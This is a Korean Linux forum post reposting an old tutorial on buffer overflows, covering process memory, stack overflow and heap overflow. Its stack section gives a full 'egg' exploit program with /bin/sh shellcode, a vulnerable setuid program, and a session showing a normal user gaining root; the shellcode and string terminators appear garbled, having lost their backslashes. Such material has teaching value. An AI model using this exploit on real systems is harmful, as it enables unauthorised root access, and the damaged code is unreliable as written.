질문&답변
클라우드/리눅스에 관한 질문과 답변을 주고 받는 곳입니다.
리눅스 분류

Buffer Overflow 관련 질문입니다.

작성자 정보

  • 관리자 작성
  • 작성일

컨텐츠 정보

본문

 

이해하기 쉬운 강좌를 많이 쓰시는 분입니다.
출저는 http://hackerleon.cybersoldier.net 입니다.

-----------------------------------------------------------------------
1. 프로세스와 메모리

아! 요사이 무척 회사일이 바빠서리... (게으름에대한 핑게)
얼마전 리눅스에서 사용되는 어플리케이션에 오버플러를 이용해서 많은 해킹이 이루어졌다는 소식을 접한적이 있다. (대단한고수님들..)
그렇담. 오버플러는 무었인지 집고 넘어가서, 나아가 분명히 앞으로도 존재할것이구 계속존재해온 프로그램들의 버그를 어떻게 찾아내서 우리가 원하는 소기의 목적을 달성할것인지를 살펴보도록하자.

가) 프로세스

'Process' 사전적인 의미는 '과정','진행',또 동사로는 '처리하다'라는 뜻을 가지고 있다. 당연히 컴퓨터 에서는 '프로그램의 수행'정도의 의미로 해석된다. 그러니깐, 컴에서 구동되는 모든 프로그램들의 진행과정과 처리를 프로세스 라구한다. 괭장히 중요하구 넓은 의미이다.
그런데 연산,계산과정에 있는 프로세스는 연산,계산만 해서는 일의 처리를 끝낼수가 없다. 즉, 연산/계산 과정에서 연산결과와 계산 과정을 기억해놓을 공간이 필요하게되고 그러한 공간을 프로세스 메모리라구 일컷는데. 그놈이 어떻게 생겨먹었냐 하면.. C로 만들어진 것들은...

0x0000
------------------
    Text
------------------
    Data
------------------
    Heap
------------------
    Stack
------------------
0xFFFF

이렇게 생겼다. 으하하 쫌짜증나게 생겼지만 충분히 이해를 하고 넘어가도록하자. 일단 요런것을 Virtual Address 방식이라고들한다. 뭐냐면 '가상주소'방식 이라고나 할까!. 왜냐하면 프로세스가 수행될때 그 메모리는 자신이 모든 메모리를 사용하는듯 생각하기때문이죠. 그러니깐 가상주소라고 하남!.

그건그렇구 메모리의 구조를 하나씩 공부해보자.

나) 프로세스 메모리 구조

ㄱ) Text : 프로그램의 본체이자 핵심이다. 이곳은 각종 Code와 읽기전용 택스트들로 구성되어있으며, 이곳을 어떻게 해볼려구 하면 에러가 바로뜨면서(Segmentation Fault) 프로그램이 종료된다.
  
ㄴ) Data : 변수의 항목들을 저장하는 곳이다. 이곳은 'Read-Write'가 가능한 공간이지만 우리가 뭘어떻게 하든지 별 도움이 않되는 공간이기에 그냥 알고만 넘어가자.
  
ㄷ) Heap : 으하하 여기서 부터가 우리가 아주 많은 관심을 가지고 주의 깊게 살펴보아야할 부분들이다. Heap은 동적으로 프로그램에 의해서 할당되는 메모리 공간을 말한다. 한마디로 예비영역이라구 할수있다. 이곳을 잘 주무르면 재밌는 일이 일어나곤한다.
  
ㄹ) Stack : 이곳은 C프로그램의 장점인 펑션콜에 관계되는 영역이다. 뭔말인가 하면, 어떤 C로 맹글어진 프로그램이 있다고 하자, 그프로그램이 수행되는 과정에서 펑션이 호출되었을 경우 그 호출된 펑션을 저장하기위한 공간이 바로 Stack인것이다. 그런데 프로그램 수행중 펑션 호출되는것 까지는 좋은데 펑션이 종료가 되면 어떻게 될까? 수행중 펑션을 끝네고 다시돌아갈 리턴 어드레스를 지정하게 되는데, 이때 우리는 고놈의 리턴어드레스를 마구 변조시켜서 Suid가 붙은 놈들에 한해서 멋진일을 해낼수 가있다.

※아아~~ 오버플러의 모든방법은 suid가 붙은 놈들에 한에서 적용됩니다. 괜실히 suid도 아닌데 오버플러시킨다고 끙끙거리면.. 글짜만 깨져서 나올뿐 아무것되 안됨을 숙지하시죠~~하루종일 공부해서 쓸따리없는 짓하시지마시길...
단, 리모트 어택시는 외부에서 내부로 억세싱 하는 통로를 열수는 있지요.^^

송죄송죄, 잠시 회사일좀 끝내놓고... 으아 몸이 한 두어개만 있어두 좋것다.

------------------------------------------------> To be contiune

2. Stack Overflow

Stack은 C로 짜여진 프로그램에서 함수의 호출로인한 메모리 할당공간이다. 함수가 호출되고 나서 다시 본래의 프로그램 궤도로 리턴될때를 위해 Stack은 리턴어드레스를 지정하여두고 메모리를 할당한다. 이 리턴어드레스를 조정함으로서 Suid가 붙은 실행화일의 경우 비 정상적인 실행을 통하여 권한을 획득할수 있다. 그렇다면 그과정을 살펴보자.

가) Stack push

함수가 호출되면 현재 실행 단계를 저장하기위하여 리턴어드레스를 저장하게된다. 또한 현재의 Stack값은 함수호출로 인하여 다음의 Stack값의 맨위로 올라가게된다(호출로인해 밀려나게된다). 함수가 종료되고 또 함수가 호출되면 먼저번의 Stack은 나중의 Stack의 윗부분에 위치하게되고..
...... 이런식으로 최초의 Stack은 다음 호출로 그Stack은 또 다음 호출에 의해 점점 밀려나나게된다. 이러한 과정을 Stack의 Push과정이라고 한다.

도식적으로

      ------------------- ┐
        Stack Point 값
      ------------------- │
        Local Variable
      ------------------- │
          Parameter               ------>  Stack Element 의 구조
      ------------------- │
        Return Address
      ------------------- │
      Frame Pointer 값
      ------------------- ┘

위에서 함수가 콜되면 다음의 Stack Point 값이 현재의Frame Pointer 값으로 Push되면서 그 값들이 갱신된다. (어렵다...)

나) Return Address

함수가 호출되구 다시 명령이 본궤도로 돌아올때 위 그림에서의 Return Add값을 찾아서 이동하게된다. 우리가 이 Return Add를 변경시키면 된다. 어떻게? 그냥? 그냥은 절데로 안된다. 직접적으로 Stack의 리턴어드레스를 건드릴수는 없다(뭐! 프로그래머가 짱구냐!) 그렇다고 해서 주저앉을수는 없는 법. 리턴어드레스를 못건드리면 건드릴수 있는놈을 건드리면 될껏아닌가!. 그렇습네다. 위의 값들중에 Local Variable의 값을 지정되어있는 양보다 초과하여 집어넣으면 밀리고 밀리고 밀려서 결국엔 리턴어드레스역시 변하게 된다. 이때 잘 조정을 해가지구 (밀리는 값을) 리턴어드레스에 'shell'코드 영역을 설정 시킨다면, suid비트의 프로그램에서 우리는 euid 권한을 획득할수 있게된다. (어렵다.... 참고 : 프랙49호, 또는 번역본 "서의성"님)

※ 여기서 Stack Overflow는 스택이 실행가능한 영역에 존재하여야만 가능하다. 그렇치 않으면 백날 헛일이다. 또한 요즘은 Return Add값을 system함수로 가리키로록 patch해놓아서 거의 모든 Stack Overflow는 막혀있다고 해도 과언이 아니다. 어쨌든간에 공부는 하고 넘어가자..

다) 일반적 공격용 EGG소스코드

다음은 일반적은 Stack Overflow 공격용 egg의 모습이다.
뭐 다른것들도 많겠지만 일단 소개해본다.

//egg.c
#include <stdlib.h>

#define DEFAULT_OFFSET 0
#define DEFAULT_BUFFER_SIZE 512
#define DEFAULT_EGG_SIZE 2048
#define NOP 0x90

char shellcode[] =
"x55x89xe5xebx1fx5ex89x76x08x31xc0x88x46x07x89x46"
"x0cxb0x0bx89xf3x8dx4ex08x8dx56x0cxcdx80x31xdbx89"
"xd8x40xcdx80xe8xdcxffxffxffx2fx62x69x6ex2fx73x68"
"x00xc9xc3x90/bin/sh";  //linux x86 shellcode

unsigned long get_esp(void)
{
__asm__("movl %esp,%eax");
}

void main(int argc, char *argv[])
{
char *buff, *ptr, *egg;
long *addr_ptr, addr;
int offset=DEFAULT_OFFSET, bsize=DEFAULT_BUFFER_SIZE;
int i, eggsize=DEFAULT_EGG_SIZE;
if (argc > 1) bsize = atoi(argv[1]);
if (argc > 2) offset = atoi(argv[2]);
if (argc > 3) eggsize = atoi(argv[3]);
if (!(buff = malloc(bsize)))
{
printf("Can't allocate memory. ");
exit(0);
}
if (!(egg = malloc(eggsize)))
{
printf("Can't allocate memory. ");
exit(0);
}
addr = get_esp() - offset;
printf("Using address: 0x%x ", addr);
ptr = buff;
addr_ptr = (long *) ptr;
for (i = 0; i < bsize; i+=4)
*(addr_ptr++) = addr;
ptr = egg;
for (i = 0; i < eggsize - strlen(shellcode) - 1; i++)
*(ptr++) = NOP;
for (i = 0; i < strlen(shellcode); i++)
*(ptr++) = shellcode[i];
buff[bsize - 1] = '';
egg[eggsize - 1] = '';
memcpy(egg,"EGG=",4);
putenv(egg);
memcpy(buff,"RET=",4);
putenv(buff);
system("/bin/bash");
}


간단히 위의 공격소스를 통해서 공격하여 보면

예)
#include <stdlib.h>
//test1.c

main(int argc, char *argv[])
{
       char buf[16];
       if(argc > 1)
       strcpy(buf,argv[1]);
}

$id
uid=500(leon) gid=500(leon)

$ ls -l ./test
-rwsr-xr-x  1 root  leon  14375 7월 27 08:00 test1

$./egg
Using address: 0xbfffef98

$./test1 $RET
#id
uid=500(leon) gid=500(leon) euid=0(root)

쉘을 임의의 주소번지에 띄우고
취약프로그램의 리턴어드레스를 우리가 원하는 임의의 번지로 바꾸는 것을 볼수 있었다.

이처럼 Stack Overflow는 취약 프로그램의 리턴어드레스나 기타 변조가능한 여러 주소를 변조하여 실행흐름을 바꾸는것을 의미한다.

라) Stack Overflow 막아버리기

다음은 Stack overflow를 막아주는 컴파일 기법이다..

- Null canary
- Terminator canary
- Random canaries
- StackGuard

등이 있당.. 주어들은 이야기... 추후공부


♩♪♬ 드뎌 꾸진 우리회사에도 네트웍이 구축되고 있다. NT다.♩♪♬
♬♩♪ 회사생활이 조금은 즐거워 지려나!.... 그건그렇구

3. Heap base Overflow

음.. 다음 힙이다. 엉덩이다.....
전번 강좌에서 Stack Overflow는 거의 막혀있다라고 언급을 했었다.
스택 오버를 막아내는 프로그램도 많이개발이 되고 또한 스택오버에는 몇가지의 제한조건이 필요하다. 즉 오버되는 영역이 실행가능하여야하기 때문에 스택을 오버시켜서 우리가 원하는 것을 하기에는 약간은 어려운점들이 있다. 그렇다면, 여기서 또 주저앉을 것인가?... 성경말씀에도 있듯이 '찾고자하는자에게는 길이 있는법' 우리에겐 '엉덩이'가 있다.

가) Heap이란?

앞서도 설명이 되었지만 좀더 구체적으로 Heap에 대해서 알아보자.
엉덩이는 응용프로그램에 의해서 동적으로 할당되어지는 메모리 영역을 일컷는다. 대부분의 시스템커널에서 메모리를 할당하는것을 비교하였을때 이 엉덩이의 영역은 특이한 생성을 한다고 볼수있다.

나) 동적메모리 할당?

동적메모리란 프로그램을 작성할 당시 미리알수 없는 사용자의 입력동작이나 다른 어떤 동작에 의해서 내용이 변화하는 문자열을 저장할 필요가 있을때(사용자이름을 등록한다든지....뭐 아님 프로그램의 옵션에서....) 필요에 따라 저장영역을 할당해주는 메모리를 말한다.
C언어에서 의 대표적인 함수로는 malloc()함수가 있다.

다) 엉덩이 덮어쓰기

Heap에 대한 오버플러는 아직도 계속연구의 대상이다. 얼마나 무궁무진한 해킹이 자행될지모르는 그야말로 오버플러의 최고의 단계라고 할수있다. 현존하는(2000년 4월) 오버플러중에서 최고라고 할수있으며, 스택오버와는 달리 아직까지는 그방어책이 구현되어있지 않다. 그러므로 엉덩이를 열심히 공부하고 일단 유져로 시스템에 접근만 하면 그 시스템은 거의 내꺼라고 하여도 과언은 아닐듯싶다. 원재아빠도 엉덩이 공부를 열심히하고 있는중이다. 크~~엉덩이....

다음은 Heap base Overflower의 예제이다.

--------------------------------------------------------

/* demonstrates dynamic overflow in heap (initialized data) */

#include stdio.h

#include stdlib.h

#include unistd.h

#include string.h

#define BUFSIZE 16

#define OVERSIZE 8 /* overflow buf2 by OVERSIZE bytes */

int main()

{

u_long diff;

char *buf1 = (char *)malloc(BUFSIZE), *buf2 = (char *)malloc(BUFSIZE);

diff = (u_long)buf2 - (u_long)buf1;

printf("buf1 = %p, buf2 = %p, diff = 0x%x bytes ", buf1, buf2, diff);

memset(buf2, 'A', BUFSIZE-1), buf2[BUFSIZE-1] = '';

printf("before overflow: buf2 = %s ", buf2);

memset(buf1, 'B', (u_int)(diff + OVERSIZE));

printf("after overflow: buf2 = %s ", buf2);

return 0;

}

#########################################################################

참고하시길 바랍니다.

% 원재아빠님의 강좌!

관련자료

댓글 0
등록된 댓글이 없습니다.

공지사항


뉴스광장


  • 현재 회원수 :  60,305 명
  • 현재 강좌수 :  36,976 개
  • 현재 접속자 :  403 명